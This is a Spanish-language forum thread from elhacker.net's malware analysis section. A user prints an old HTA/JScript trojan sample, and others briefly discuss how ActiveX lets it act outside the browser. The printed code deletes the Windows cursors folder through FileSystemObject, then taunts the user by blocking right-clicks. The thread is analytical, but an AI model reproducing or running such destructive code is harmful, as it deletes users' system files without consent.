Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: patilanz en 24 Diciembre 2014, 10:33 am



Título: Trojan.JS.Cursor
Publicado por: patilanz en 24 Diciembre 2014, 10:33 am
Hola me descargue un pack con muchos troyanos virus etc.. y ahora los estoy analizando.
Código
  1. [code=javascript]<HTML>
  2.  
  3. <TITLE>Virus</TITLE>
  4.  
  5. <script language="JScript">
  6.  
  7. var fs = new ActiveXObject("Scripting.FileSystemObject");
  8. var a = fs.DeleteFolder("c:\\windows/cursors");
  9.  
  10.  
  11. <HTA:APPLICATION
  12.       ID="oHTA"
  13.       APPLICATIONNAME="ComplexHTA"
  14.       CAPTION="yes"
  15.       ICON="ComplexHTA.ico"
  16.       MAXIMIZEBUTTON="no"
  17.       MINIMIZEBUTTON="no"
  18.       SHOWINTASKBAR="no"
  19.       SINGLEINSTANCE="no"
  20.       SYSMENU="no"
  21.       VERSION="1.0"
  22.       WINDOWSTATE="normal">
  23.  
  24. <script language="javascript">
  25.  
  26. var message="Now Hang On Here!";
  27.  
  28. function click(e) {
  29. if (document.all) {
  30. if (event.button == 2) {
  31. alert(message);
  32. return false;
  33. }
  34. }
  35. if (document.layers) {
  36. if (e.which == 3) {
  37. alert(message);
  38. return false;
  39. }
  40. }
  41. }
  42. if (document.layers) {
  43. document.captureEvents(Event.MOUSEDOWN);
  44. }
  45. document.onmousedown=click;
  46.  
  47.  
  48. </HEAD>
  49.  
  50. <BODY BGCOLOR="000000" TEXT="FFFFFF" LINK="6BC8F2" VLINK="6BC8F2" ALINK="6BC8F2">
  51.  
  52. <BR>
  53. <BR>
  54. <BR>
  55.  
  56. <CENTER>Congratulations!</CENTER>
  57.  
  58. <P>
  59.  
  60. <center><BUTTON onclick="self.close()">Click Here To Close
  61.  
  62.  
  63. </HTML>
  64.  
[/code]

Supongo que sera muy muy antiguo porque:

Código
  1. var fs = new ActiveXObject("Scripting.FileSystemObject");
  2. var a = fs.DeleteFolder("c:\\windows/cursors");

Borra la carpeta cursors así sin mas y luego se burla de que no puede pulsar el botón para salir  ;D
Que os parece?


Título: Re: Trojan.JS.Cursor
Publicado por: BlackM4ster en 24 Diciembre 2014, 10:43 am
No creo que javascript actualmente pueda borrar una carpeta del sistema xD


Título: Re: Trojan.JS.Cursor
Publicado por: engel lex en 24 Diciembre 2014, 10:46 am
No creo que javascript actualmente pueda borrar una carpeta del sistema xD

no es el jscript solo... es el activeX que lo hace vulnerable, permitiendo escapar del navegador